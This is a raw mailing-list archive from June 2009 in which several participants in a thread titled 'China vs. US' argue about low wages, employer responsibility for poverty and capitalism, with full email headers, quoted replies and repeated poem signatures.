vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 552 --0015174c40fc2f20d4046b621500 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Are you really telling us that every employer is engaged in a vast conspiracy? On Tue, Jun 2, 2009 at 2:17 PM, leaking pen wrote: > how is squeezing labor out of people at a rate that keeps them in the > ghetto and prevents any real growth NOT causing it? > > On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE > wrote: > > This goes back to the question grok ignored: how is the employer > responsible > > for your plight, unless they caused it themselves, directly? > > > > > > > > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen wrote: > >> > >> Yes, starve quickly, or slave away for me and starve slowly, is a > >> COMPLETELY voluntary transaction...Allowing individuals to exploit the > >> society for their benefit is JUST as broken as allowing society to > >> exploit the individual for the benefit of society. there has to be a > >> medium. Face it, you don't believe in capitalism. You believe in > >> feudalism. > >> > >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE > >> wrote: > >> > Your analysis will remain broken until you can distinguish between > >> > voluntary > >> > and involuntary transactions. > >> > > >> > > >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen > wrote: > >> >> > >> >> Saying > >> >> that a business should be able to pay their workers whatever they > want > >> >> is like saying that if a business doesn't like the cost of some of > >> >> their raw materials, they have a right to go, steal the materials, > and > >> >> leave whatever pittance they deem fair behind as payment. > >> > > >> > > >> > -- > >> > Never did I see a second sun > >> > Never did my skin touch a land of glass > >> > Never did my rifle point but true > >> > But in a land empty of enemies > >> > Waiting for the tick-tick-tick of the want > >> > A uranium angel > >> > Crying =93behold,=94 > >> > This land that knew fire is yours > >> > Taken from Corruption > >> > To begin anew > >> > > >> > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c40fc2f20d4046b621500 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Are you really telling us that every employer is engaged in a vast conspira= cy?



On Tue, Jun 2, 2009 at 2:17 P= M, leaking pen <= itsatrap@gmail.com> wrote:
how is squeezing = labor out of people at a rate that keeps them in the
ghetto and prevents any real growth NOT causing it?

On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE
<lookslikeiwasright@gmail.com> wrote:
> This goes back to the question grok ignored: how is the employer respo= nsible
> for your plight, unless they caused it themselves, directly?
>
>
>
> On Tue, Jun 2, 2009 at 1:00 PM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> Yes, starve quickly, or slave away for me and starve slowly, is a<= br> >> COMPLETELY voluntary transaction...Allowing individuals to exploit= the
>> society for their benefit is JUST as broken as allowing society to=
>> exploit the individual for the benefit of society. there has to be= a
>> medium. =A0Face it, you don't believe in capitalism. =A0You be= lieve in
>> feudalism.
>>
>> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE
>> <lookslikeiwasr= ight@gmail.com> wrote:
>> > Your analysis will remain broken until you can distinguish be= tween
>> > voluntary
>> > and involuntary transactions.
>> >
>> >
>> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen <itsatrap@gmail.com> wrote:
>> >>
>> >> Saying
>> >> that a business should be able to pay their workers whate= ver they want
>> >> is like saying that if a business doesn't like the co= st of some of
>> >> their raw materials, they have a right to go, steal the m= aterials, and
>> >> leave whatever pittance they deem fair behind as payment.=
>> >
>> >
>> > --
>> > Never did I see a second sun
>> > Never did my skin touch a land of glass
>> > Never did my rifle point but true
>> > But in a land empty of enemies
>> > Waiting for the tick-tick-tick of the want
>> > A uranium angel
>> > Crying =93behold,=94
>> > This land that knew fire is yours
>> > Taken from Corruption
>> > To begin anew
>> >
>>
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c40fc2f20d4046b621500-- From vortexb-l-request@eskimo.com Tue Jun 2 12:03:55 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52J3moh032638; Tue, 2 Jun 2009 12:03:48 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52J3lJN032599; Tue, 2 Jun 2009 12:03:47 -0700 Resent-Date: Tue, 2 Jun 2009 12:03:47 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f From: "Jeff Fink" To: References: <20090521180408.GD1262@shell.resist.ca> <4F356207F3624B3BA3DA567EB1C9B68F@REVTEC1> <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> <70AED30444BF4635A7FA0BADC2F9C25B@REVTEC1> Subject: RE: [VoB]:China vs. US Date: Tue, 2 Jun 2009 15:03:46 -0400 Message-ID: <7ABA99AED89145E5B33D86E82B576332@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.5579 Thread-Index: AcnjsfJDJGcMxqjVRb2cARWHw3gTyAAAsN/A Resent-Message-ID: <9ll-RB.A.G9H.TeXJKB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4311 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 553 That was just a little extra I threw in. -----Original Message----- From: leaking pen [mailto:itsatrap@gmail.com] Sent: Tuesday, June 02, 2009 2:42 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Right. government price fixing has not at any time been part of the discussion On Tue, Jun 2, 2009 at 11:21 AM, Jeff Fink wrote: > I was responding to the discussion of how the value of an item is > determined. > > Jeff > From vortexb-l-request@eskimo.com Tue Jun 2 12:15:00 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52JEvI3014775; Tue, 2 Jun 2009 12:14:57 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52JEu4Z014760; Tue, 2 Jun 2009 12:14:56 -0700 Resent-Date: Tue, 2 Jun 2009 12:14:56 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Tue, 2 Jun 2009 12:14:50 -0700 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:China vs. US Message-ID: <20090602191449.GA16390@shell.resist.ca> Reply-To: grok@resist.ca References: <20090522144827.GG18912@shell.resist.ca> <63ffa6020905221118j3b87b122pf3cc0ae964abf8d4@mail.gmail.com> <4A1716CB.BA9B4CA@centurytel.net> <4AB7B9A39C2F43DF8F416D7A1083D9D2@REVTEC1> <53F71494F70449CAB4F334ECD4092CFB@REVTEC1> <70AED30444BF4635A7FA0BADC2F9C25B@REVTEC1> <7ABA99AED89145E5B33D86E82B576332@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8; x-action=pgp-signed Content-Disposition: inline In-Reply-To: <7ABA99AED89145E5B33D86E82B576332@REVTEC1> X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0x461BB771 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 2E7F 2D69 4B0B C8D5 07E3 09C3 5E8D C4B4 461B B771 X-Echelon: 52 52 N - 03 03 W, tilt-rotor, Israel, Suwayd, PFLP User-Agent: Mutt/1.5.18 (2008-05-17) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4312 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 554 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 > -----Original Message----- > From: leaking pen [mailto:itsatrap@gmail.com] > Sent: Tuesday, June 02, 2009 2:42 PM > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:China vs. US > > Right. government price fixing has not at any time been part of the > discussion Neither has monopoly price-fixing. - -- grok. - -- Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (GNU/Linux) iEYEARECAAYFAkoleikACgkQXo3EtEYbt3F7WgCgqcq9JRAzPlZxYPfdA2ekbyPZ mfsAnRYTRdvA0xxMmIem5v8gZ1Leqqjv =Fd1J -----END PGP SIGNATURE----- From vortexb-l-request@eskimo.com Tue Jun 2 12:15:59 2009 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id n52JFrcA017818; Tue, 2 Jun 2009 12:15:53 -0700 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id n52JFr3j017801; Tue, 2 Jun 2009 12:15:53 -0700 Resent-Date: Tue, 2 Jun 2009 12:15:53 -0700 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=EQPpDdAdk9ckC7CviGrF3+B2GfZ4AqU1M5Ej4t1MDn8=; b=clTp89M2cfSsBMaP6oflpFcBhpBp3zCX+SbhZpm9KQyQjsS9EtnFYStFbD47HQyu9d wlmGGAJGLsB9UOkoEYt9H7zbFWlQHcz3WklZ9/7i1SA199c91C9NAgD6m8E3ga8hHGlz Q5OXT+pPcsT9CUsbmR+/Ov7tTxkPbW9oodhYc= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=DaGqpCYBUyGirEpWnKxS3Vnei03uOEyLRRxoKFsUnIo+o2o14KagwusGbVOlQGggWD CZeVrwblnrxIiu+AUXqYUoITfXpEegvW9ExPUGZmAvz0pix2ZfhXO4et+opJPXB8d7rm Op4c5BZJ5F2gZRP6l6QV//MSQC5Zt/0KWLnbk= MIME-Version: 1.0 In-Reply-To: <63ffa6020906021154we56f7f7m8eb89de42e24823@mail.gmail.com> References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> <63ffa6020906021154we56f7f7m8eb89de42e24823@mail.gmail.com> Date: Tue, 2 Jun 2009 12:15:51 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: <6nuOtD.A.9VE.ppXJKB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4313 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 555 Never confuse stupidity for malevolence. No, i think all the big companies are mostly just greedy and stupid On Tue, Jun 2, 2009 at 11:54 AM, Charles HOPE wrote: > Are you really telling us that every employer is engaged in a vast > conspiracy? > > > > On Tue, Jun 2, 2009 at 2:17 PM, leaking pen wrote: >> >> how is squeezing labor out of people at a rate that keeps them in the >> ghetto and prevents any real growth NOT causing it? >> >> On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE >> wrote: >> > This goes back to the question grok ignored: how is the employer >> > responsible >> > for your plight, unless they caused it themselves, directly? >> > >> > >> > >> > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen wrote= : >> >> >> >> Yes, starve quickly, or slave away for me and starve slowly, is a >> >> COMPLETELY voluntary transaction...Allowing individuals to exploit th= e >> >> society for their benefit is JUST as broken as allowing society to >> >> exploit the individual for the benefit of society. there has to be a >> >> medium. Face it, you don't believe in capitalism. You believe in >> >> feudalism. >> >> >> >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE >> >> wrote: >> >> > Your analysis will remain broken until you can distinguish between >> >> > voluntary >> >> > and involuntary transactions. >> >> > >> >> > >> >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen >> >> > wrote: >> >> >> >> >> >> Saying >> >> >> that a business should be able to pay their workers whatever they >> >> >> want >> >> >> is like saying that if a business doesn't like the cost of some of >> >> >> their raw materials, they have a right to go, steal the materials, >> >> >> and >> >> >> leave whatever pittance they deem fair behind as payment. >> >> > >> >> > >> >> > -- >> >> > Never did I see a second sun >> >> > Never did my skin touch a land of glass >> >> > Never did my rifle point but true >> >> > But in a land empty of enemies >> >> > Waiting for the tick-tick-tick of the want >> >> > A uranium angel >> >> > Crying =93behold,=94 >> >> > This land that knew fire is yours >> >> > Taken from Corruption >> >> > To begin anew >> >> > >> >> >> > >> > >> > >> > -- >> > Never did I see a second sun >> > Never did my skin touch a land of glass >> > Never did my rifle point but true >> > But in a land empty of enemies >> > Waiting for the tick-tick-tick of the want >> > A uranium angel >> > Crying =93behold,=94 >> > This land that knew fire is yours >> > Taken from Corruption >> > To begin anew >> > >> > > > > -- > Never did I see a second sun > Never did my skin touch a land of glass > Never did my rifle point but true > But in a land empty of enemies > Waiting for the tick-tick-tick of the want > A uranium angel > Crying =93behold,=94 > This land that knew fire is yours > Taken from Corruption > To begin anew > From vortexb-l-request@eskimo.com Tue Jun 2 12:26:53 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52JQoEv025687; Tue, 2 Jun 2009 12:26:50 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52JQnpR025676; Tue, 2 Jun 2009 12:26:49 -0700 Resent-Date: Tue, 2 Jun 2009 12:26:49 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :from:date:message-id:subject:to:content-type; bh=hzEzabtjSCnDWb76h0Zv1qLuJ2FexRel/goL1rvSsWE=; b=ZrdZ2qYzR+lzjMdYBrtZthiCOre5JBsSVVZCHER087ALSM2dv7O/d1/uqMCRuzT475 Ly0FKlYxhTjnpAuSHrMJrEUqkcQwg+iKNAx0jCRRmMfBUQLfUL9Dv8a3KQFFxL9CjJkR d8iNXlG+2/VlNI6MvmO9ZXIjbapxX7DgsfHMM= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:from:date:message-id:subject:to :content-type; b=LtBs5vXaFJ7BUWC2pdCw0d2y+AY386QGYc1VcxDcnCF/K1IdHOKFyw9/IJD+Hm82In SGqEGpc3byT1XaalRoMgMyE6fu1Sl4UYHCfuXMuByNe2d0+MG1HkZEBzxUoJXFbpQPIE 5gxE29LtpHIvN5TXMxGq1f5ZOk3vXVTsIe/hY= MIME-Version: 1.0 In-Reply-To: References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> <63ffa6020906021154we56f7f7m8eb89de42e24823@mail.gmail.com> From: Charles HOPE Date: Tue, 2 Jun 2009 15:26:28 -0400 Message-ID: <63ffa6020906021226p2676246et16b42e9937b0505a@mail.gmail.com> Subject: Re: [VoB]:China vs. US To: vortexb-l@eskimo.com Content-Type: multipart/alternative; boundary=0015174c0fa8215af7046b628624 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4314 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 556 --0015174c0fa8215af7046b628624 Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So then how is it the responsibility of employers that some workers are hungry and will personally accept low wages? Having not directly caused the poverty, they are hardly responsible for it, and in fact are prepared to provide the only sustainable solution for it. On Tue, Jun 2, 2009 at 3:15 PM, leaking pen wrote: > Never confuse stupidity for malevolence. > No, i think all the big companies are mostly just greedy and stupid > > On Tue, Jun 2, 2009 at 11:54 AM, Charles HOPE > wrote: > > Are you really telling us that every employer is engaged in a vast > > conspiracy? > > > > > > > > On Tue, Jun 2, 2009 at 2:17 PM, leaking pen wrote: > >> > >> how is squeezing labor out of people at a rate that keeps them in the > >> ghetto and prevents any real growth NOT causing it? > >> > >> On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE > >> wrote: > >> > This goes back to the question grok ignored: how is the employer > >> > responsible > >> > for your plight, unless they caused it themselves, directly? > >> > > >> > > >> > > >> > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen > wrote: > >> >> > >> >> Yes, starve quickly, or slave away for me and starve slowly, is a > >> >> COMPLETELY voluntary transaction...Allowing individuals to exploit > the > >> >> society for their benefit is JUST as broken as allowing society to > >> >> exploit the individual for the benefit of society. there has to be = a > >> >> medium. Face it, you don't believe in capitalism. You believe in > >> >> feudalism. > >> >> > >> >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE > >> >> wrote: > >> >> > Your analysis will remain broken until you can distinguish betwee= n > >> >> > voluntary > >> >> > and involuntary transactions. > >> >> > > >> >> > > >> >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen > >> >> > wrote: > >> >> >> > >> >> >> Saying > >> >> >> that a business should be able to pay their workers whatever the= y > >> >> >> want > >> >> >> is like saying that if a business doesn't like the cost of some = of > >> >> >> their raw materials, they have a right to go, steal the material= s, > >> >> >> and > >> >> >> leave whatever pittance they deem fair behind as payment. > >> >> > > >> >> > > >> >> > -- > >> >> > Never did I see a second sun > >> >> > Never did my skin touch a land of glass > >> >> > Never did my rifle point but true > >> >> > But in a land empty of enemies > >> >> > Waiting for the tick-tick-tick of the want > >> >> > A uranium angel > >> >> > Crying =93behold,=94 > >> >> > This land that knew fire is yours > >> >> > Taken from Corruption > >> >> > To begin anew > >> >> > > >> >> > >> > > >> > > >> > > >> > -- > >> > Never did I see a second sun > >> > Never did my skin touch a land of glass > >> > Never did my rifle point but true > >> > But in a land empty of enemies > >> > Waiting for the tick-tick-tick of the want > >> > A uranium angel > >> > Crying =93behold,=94 > >> > This land that knew fire is yours > >> > Taken from Corruption > >> > To begin anew > >> > > >> > > > > > > > > -- > > Never did I see a second sun > > Never did my skin touch a land of glass > > Never did my rifle point but true > > But in a land empty of enemies > > Waiting for the tick-tick-tick of the want > > A uranium angel > > Crying =93behold,=94 > > This land that knew fire is yours > > Taken from Corruption > > To begin anew > > > > --=20 Never did I see a second sun Never did my skin touch a land of glass Never did my rifle point but true But in a land empty of enemies Waiting for the tick-tick-tick of the want A uranium angel Crying =93behold,=94 This land that knew fire is yours Taken from Corruption To begin anew --0015174c0fa8215af7046b628624 Content-Type: text/html; charset=windows-1252 Content-Transfer-Encoding: quoted-printable So then how is it the responsibility of employers that some workers are hun= gry and will personally accept low wages? Having not directly caused the po= verty, they are hardly responsible for it, and in fact are prepared to prov= ide the only sustainable solution for it.


On Tue, Jun 2, 2009 at 3:15 PM, leaking = pen <itsatrap@gm= ail.com> wrote:
Never confuse stupidity for malevolence.
No, i think all the big companies are mostly just greedy and stupid

On Tue, Jun 2, 2009 at 11:54 AM, Charles HOPE
<lookslikeiwasright@gmail.com> wrote:
> Are you really telling us that every employer is engaged in a vast
> conspiracy?
>
>
>
> On Tue, Jun 2, 2009 at 2:17 PM, leaking pen <itsatrap@gmail.com> wrote:
>>
>> how is squeezing labor out of people at a rate that keeps them in = the
>> ghetto and prevents any real growth NOT causing it?
>>
>> On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE
>> <lookslikeiwasr= ight@gmail.com> wrote:
>> > This goes back to the question grok ignored: how is the emplo= yer
>> > responsible
>> > for your plight, unless they caused it themselves, directly?<= br> >> >
>> >
>> >
>> > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen <itsatrap@gmail.com> wrote:
>> >>
>> >> Yes, starve quickly, or slave away for me and starve slow= ly, is a
>> >> COMPLETELY voluntary transaction...Allowing individuals t= o exploit the
>> >> society for their benefit is JUST as broken as allowing s= ociety to
>> >> exploit the individual for the benefit of society. there = has to be a
>> >> medium. =A0Face it, you don't believe in capitalism. = =A0You believe in
>> >> feudalism.
>> >>
>> >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE
>> >> <looks= likeiwasright@gmail.com> wrote:
>> >> > Your analysis will remain broken until you can disti= nguish between
>> >> > voluntary
>> >> > and involuntary transactions.
>> >> >
>> >> >
>> >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen <itsatrap@gmail.com>
>> >> > wrote:
>> >> >>
>> >> >> Saying
>> >> >> that a business should be able to pay their work= ers whatever they
>> >> >> want
>> >> >> is like saying that if a business doesn't li= ke the cost of some of
>> >> >> their raw materials, they have a right to go, st= eal the materials,
>> >> >> and
>> >> >> leave whatever pittance they deem fair behind as= payment.
>> >> >
>> >> >
>> >> > --
>> >> > Never did I see a second sun
>> >> > Never did my skin touch a land of glass
>> >> > Never did my rifle point but true
>> >> > But in a land empty of enemies
>> >> > Waiting for the tick-tick-tick of the want
>> >> > A uranium angel
>> >> > Crying =93behold,=94
>> >> > This land that knew fire is yours
>> >> > Taken from Corruption
>> >> > To begin anew
>> >> >
>> >>
>> >
>> >
>> >
>> > --
>> > Never did I see a second sun
>> > Never did my skin touch a land of glass
>> > Never did my rifle point but true
>> > But in a land empty of enemies
>> > Waiting for the tick-tick-tick of the want
>> > A uranium angel
>> > Crying =93behold,=94
>> > This land that knew fire is yours
>> > Taken from Corruption
>> > To begin anew
>> >
>>
>
>
>
> --
> Never did I see a second sun
> Never did my skin touch a land of glass
> Never did my rifle point but true
> But in a land empty of enemies
> Waiting for the tick-tick-tick of the want
> A uranium angel
> Crying =93behold,=94
> This land that knew fire is yours
> Taken from Corruption
> To begin anew
>




--
Never did I= see a second sun
Never did my skin touch a land of glass
Never did m= y rifle point but true
But in a land empty of enemies
Waiting for the= tick-tick-tick of the want
A uranium angel
Crying =93behold,=94
This land that knew fire is your= s
Taken from Corruption
To begin anew
--0015174c0fa8215af7046b628624-- From vortexb-l-request@eskimo.com Tue Jun 2 13:10:44 2009 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id n52KAUvD029192; Tue, 2 Jun 2009 13:10:30 -0700 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id n52KATTx029180; Tue, 2 Jun 2009 13:10:29 -0700 Resent-Date: Tue, 2 Jun 2009 13:10:29 -0700 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:mime-version:received:in-reply-to:references :date:message-id:subject:from:to:content-type :content-transfer-encoding; bh=fLKl9+k71PsRADrpzQyZkx4q5bPkFc+mlgUjinQjePM=; b=uQUtabGDHIALEYcROFRfLyFqAqBWiA3LMQqLIDn2E19vB0mse4nq0eTDnUFU4Mdvuc ORbGFV5A1gDgd1y3rSeloj+cnkLQTxtT7Kr9Xd+njJINYxvlPQyHGpTYpeLXDp5cXz7o KO71SCIFpW2Tx54RnKIJYe44IeTDDRC/iMotA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; b=KwZuEH0ilbw8l5Pb4zH84aKVI4lWZwgzxTPSAbpv7CK1/6vBSXAJPmXNrTKNdhitoF XF6HK0lDYKJ5C1bIRhVF7Bci5TgdpXsp2ZIkZ6dsM1DDqDCsmjJT/B/qbgxRDvRw0ia/ XFxl+AuxRalS2Q8hM6tMk/ONhPkkM9nNUefFM= MIME-Version: 1.0 In-Reply-To: <63ffa6020906021226p2676246et16b42e9937b0505a@mail.gmail.com> References: <231d44230bb0.230bb0231d44@ncf.ca> <63ffa6020906020729x4ac57b12hb8200ce9d4958b6f@mail.gmail.com> <63ffa6020906021008y72ad7dbdx906f6374171ea365@mail.gmail.com> <63ffa6020906021154we56f7f7m8eb89de42e24823@mail.gmail.com> <63ffa6020906021226p2676246et16b42e9937b0505a@mail.gmail.com> Date: Tue, 2 Jun 2009 13:10:25 -0700 Message-ID: Subject: Re: [VoB]:China vs. US From: leaking pen To: vortexb-l@eskimo.com Content-Type: text/plain; charset=windows-1252 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4315 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 557 aving not directly caused the poverty, Yes, becuase offering low wages, as low as possible, wage fixing with other iemployers, and spending lots of money on lobbyists to try and block minimum wage laws is in no way CAUSING the poverty? You know what, either you're lying, brainwashed, or just plain ignorant. I haven't figured out which yet. On Tue, Jun 2, 2009 at 12:26 PM, Charles HOPE wrote: > So then how is it the responsibility of employers that some workers are > hungry and will personally accept low wages? Having not directly caused t= he > poverty, they are hardly responsible for it, and in fact are prepared to > provide the only sustainable solution for it. > > > On Tue, Jun 2, 2009 at 3:15 PM, leaking pen wrote: >> >> Never confuse stupidity for malevolence. >> No, i think all the big companies are mostly just greedy and stupid >> >> On Tue, Jun 2, 2009 at 11:54 AM, Charles HOPE >> wrote: >> > Are you really telling us that every employer is engaged in a vast >> > conspiracy? >> > >> > >> > >> > On Tue, Jun 2, 2009 at 2:17 PM, leaking pen wrote= : >> >> >> >> how is squeezing labor out of people at a rate that keeps them in the >> >> ghetto and prevents any real growth NOT causing it? >> >> >> >> On Tue, Jun 2, 2009 at 10:08 AM, Charles HOPE >> >> wrote: >> >> > This goes back to the question grok ignored: how is the employer >> >> > responsible >> >> > for your plight, unless they caused it themselves, directly? >> >> > >> >> > >> >> > >> >> > On Tue, Jun 2, 2009 at 1:00 PM, leaking pen >> >> > wrote: >> >> >> >> >> >> Yes, starve quickly, or slave away for me and starve slowly, is a >> >> >> COMPLETELY voluntary transaction...Allowing individuals to exploit >> >> >> the >> >> >> society for their benefit is JUST as broken as allowing society to >> >> >> exploit the individual for the benefit of society. there has to be= a >> >> >> medium. Face it, you don't believe in capitalism. You believe in >> >> >> feudalism. >> >> >> >> >> >> On Tue, Jun 2, 2009 at 7:29 AM, Charles HOPE >> >> >> wrote: >> >> >> > Your analysis will remain broken until you can distinguish betwe= en >> >> >> > voluntary >> >> >> > and involuntary transactions. >> >> >> > >> >> >> > >> >> >> > On Tue, Jun 2, 2009 at 10:06 AM, leaking pen >> >> >> > wrote: >> >> >> >> >> >> >> >> Saying >> >> >> >> that a business should be able to pay their workers whatever th= ey >> >> >> >> want >> >> >> >> is like saying that if a business doesn't like the cost of some >> >> >> >> of >> >> >> >> their raw materials, they have a right to go, steal the >> >> >> >> materials, >> >> >> >> and >> >> >> >> leave whatever pittance they deem fair behind as payment. >> >> >> > >> >> >> > >> >> >> > -- >> >> >> > Never did I see a second sun >> >> >> > Never did my skin touch a land of glass >> >> >> > Never did my rifle point but true >> >> >> > But in a land empty of enemies >> >> >> > Waiting for the tick-tick-tick of the want >> >> >> > A uranium angel >> >> >> > Crying =93behold,=94 >> >> >> > This land that knew fire is yours >> >> >> > Taken from Corruption >> >> >> > To begin anew >> >> >> > >> >> >> >> >> > >> >> > >> >> > >> >> > -- >> >> > Never did I see a second sun >> >> > Never did my skin touch a land of glass >> >> > Never did my rifle point but true >> >> > But in a land empty of enemies >> >> > Waiting for the tick-tick-tick of the want >> >> > A uranium angel >> >> > Crying =93behold,=94 >> >> > This land that knew fire is yours >> >> > Taken from Corruption >> >> > To begin anew >> >> > >> >> >> > >> > >> > >> > -- >> > Never did I see a second sun >> > Never did my skin touch a land of glass >> > Never did my rifle point but true >> > But in a land empty of enemies >> > Waiting for the 